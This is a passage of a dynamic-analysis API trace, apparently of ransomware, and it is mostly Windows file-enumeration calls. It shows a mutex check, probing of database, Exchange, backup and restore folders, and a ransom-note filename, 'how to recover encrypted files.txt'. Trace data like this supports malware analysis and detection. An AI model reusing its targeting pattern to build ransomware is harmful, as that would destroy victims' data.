lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.214] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0041.214] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0041.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\spgagentservice.exe", cchWideChar=49, lpMultiByteStr=0x18e3c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\spgagentservice.exe", lpUsedDefaultChar=0x0) returned 49 [0041.215] CharLowerBuffW (in: lpsz=".exe", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0041.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exervice.exe", lpUsedDefaultChar=0x0) returned 4 [0041.215] FindNextFileW (in: hFindFile=0x522d20, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0041.215] FindNextFileW (in: hFindFile=0x522d20, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0041.215] GetLastError () returned 0x12 [0041.215] FindClose (in: hFindFile=0x522d20 | out: hFindFile=0x522d20) returned 1 [0041.215] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.215] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.215] GlobalUnlock (hMem=0x44000c) returned 0 [0041.215] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.215] GlobalLock (hMem=0x440004) returned 0x550178 [0041.215] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.215] GlobalUnlock (hMem=0x44000c) returned 0 [0041.215] GlobalHandle (pMem=0x550178) returned 0x440004 [0041.215] GlobalUnlock (hMem=0x440004) returned 0 [0041.215] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61c78, cbMultiByte=3, lpWideCharStr=0x18e458, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\i\x02") returned 3 [0041.215] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*.*", lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa030c8f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa030c8f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x522d20 [0041.215] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f448 | out: lpLocalFileTime=0x18f448) returned 1 [0041.215] FileTimeToDosDateTime (in: lpFileTime=0x18f448, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0041.216] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.216] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.216] GlobalUnlock (hMem=0x440004) returned 0 [0041.216] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.216] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.216] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.216] GlobalUnlock (hMem=0x440004) returned 0 [0041.216] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.216] GlobalUnlock (hMem=0x44000c) returned 0 [0041.216] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.216] FindNextFileW (in: hFindFile=0x522d20, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa030c8f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa030c8f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.216] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0041.216] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0041.216] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.216] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.216] GlobalUnlock (hMem=0x44000c) returned 0 [0041.216] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.216] GlobalLock (hMem=0x440004) returned 0x550178 [0041.216] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.216] GlobalUnlock (hMem=0x44000c) returned 0 [0041.216] GlobalHandle (pMem=0x550178) returned 0x440004 [0041.216] GlobalUnlock (hMem=0x440004) returned 0 [0041.216] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.216] FindNextFileW (in: hFindFile=0x522d20, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b44280, ftCreationTime.dwHighDateTime=0x1d5392f, ftLastAccessTime.dwLowDateTime=0x98d84680, ftLastAccessTime.dwHighDateTime=0x1d5a366, ftLastWriteTime.dwLowDateTime=0x98d84680, ftLastWriteTime.dwHighDateTime=0x1d5a366, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="carrying.exe", cAlternateFileName="")) returned 1 [0041.216] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0041.216] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0041.216] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.216] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.216] GlobalUnlock (hMem=0x440004) returned 0 [0041.217] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.217] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.217] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.217] GlobalUnlock (hMem=0x440004) returned 0 [0041.217] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.217] GlobalUnlock (hMem=0x44000c) returned 0 [0041.217] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.217] FindNextFileW (in: hFindFile=0x522d20, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1 [0041.217] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0041.217] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0041.217] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.217] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.217] GlobalUnlock (hMem=0x44000c) returned 0 [0041.217] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.217] GlobalLock (hMem=0x440004) returned 0x550178 [0041.217] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.217] GlobalUnlock (hMem=0x44000c) returned 0 [0041.217] GlobalHandle (pMem=0x550178) returned 0x440004 [0041.217] GlobalUnlock (hMem=0x440004) returned 0 [0041.217] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.217] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.217] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.217] GlobalUnlock (hMem=0x440004) returned 0 [0041.217] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.217] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.217] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.217] GlobalUnlock (hMem=0x440004) returned 0 [0041.217] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.217] GlobalUnlock (hMem=0x44000c) returned 0 [0041.218] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.218] SysReAllocStringLen (in: pbstr=0x18f444*=0x0, psz="C:\\Program Files\\Common Files\\DESIGNER", len=0x26 | out: pbstr=0x18f444*="C:\\Program Files\\Common Files\\DESIGNER") returned 1 [0041.218] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.218] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.218] GlobalUnlock (hMem=0x44000c) returned 0 [0041.218] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.218] GlobalLock (hMem=0x440004) returned 0x550178 [0041.218] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.218] GlobalUnlock (hMem=0x44000c) returned 0 [0041.218] GlobalHandle (pMem=0x550178) returned 0x440004 [0041.218] GlobalUnlock (hMem=0x440004) returned 0 [0041.218] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ Compact Edition\\") returned 26 [0041.218] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\Microsoft\\Exchange Server", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e694a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@QQ企@\x18㾤Q\x18\x1b")) returned 0xffffffff [0041.218] GetLastError () returned 0x3 [0041.218] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.218] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0041.218] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ Compact Edition\\") returned 21 [0041.219] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\Microsoft SQL Server", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e694a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@Q企@\x18㽜Q\x181")) returned 0xffffffff [0041.219] GetLastError () returned 0x2 [0041.219] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.219] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0041.219] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ Compact Edition\\") returned 9 [0041.219] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\Firebird", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e694a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@儔R企@\x18?T\x18;")) returned 0xffffffff [0041.219] GetLastError () returned 0x2 [0041.220] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.220] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0041.220] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ Compact Edition\\") returned 8 [0041.220] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSSQL.1", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e694a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@Q企@\x18?T\x18D")) returned 0xffffffff [0041.220] GetLastError () returned 0x2 [0041.220] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.220] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=8, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0041.220] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\ition\\") returned 37 [0041.220] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e694a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@儔R企@\x18㎬R\x18j")) returned 0xffffffff [0041.221] GetLastError () returned 0x2 [0041.221] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.221] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\ition\\") returned 37 [0041.221] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\ition\\") returned 6 [0041.221] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\Adobe", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e694a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@闌R企@\x18?T\x18q")) returned 0xffffffff [0041.221] GetLastError () returned 0x2 [0041.221] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.221] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="adobe\\㎨R`") returned 6 [0041.221] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\ition\\") returned 7 [0041.222] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\Oracle", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e694a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@锴R企@\x18?T\x18y")) returned 0xffffffff [0041.222] GetLastError () returned 0x2 [0041.222] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.222] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0041.222] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\ition\\") returned 7 [0041.222] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\Archive", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e694a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@Q企@\x18?T\x18\x81")) returned 0xffffffff [0041.222] GetLastError () returned 0x2 [0041.222] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.222] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=7, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0041.222] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\ition\\") returned 6 [0041.223] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\Backup", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e694a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@闌R企@\x18?T\x18\x88")) returned 0xffffffff [0041.223] GetLastError () returned 0x2 [0041.223] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.223] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0041.223] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\ition\\") returned 6 [0041.223] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\Reserv", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e694a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@锴R企@\x18?T\x18\x8f")) returned 0xffffffff [0041.223] GetLastError () returned 0x2 [0041.223] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.223] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69828, cbMultiByte=6, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0041.224] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e10c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\ition\\") returned 7 [0041.224] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\Restore", lpFindFileData=0x18eec0 | out: lpFindFileData=0x18eec0*(dwFileAttributes=0x7758b506, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e694a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="練R䱠@Q企@\x18?T\x18\x97")) returned 0xffffffff [0041.224] GetLastError () returned 0x2 [0041.224] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\DESIGNER\\", cchLength=0x27 | out: lpsz="c:\\program files\\common files\\designer\\") returned 0x27 [0041.224] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 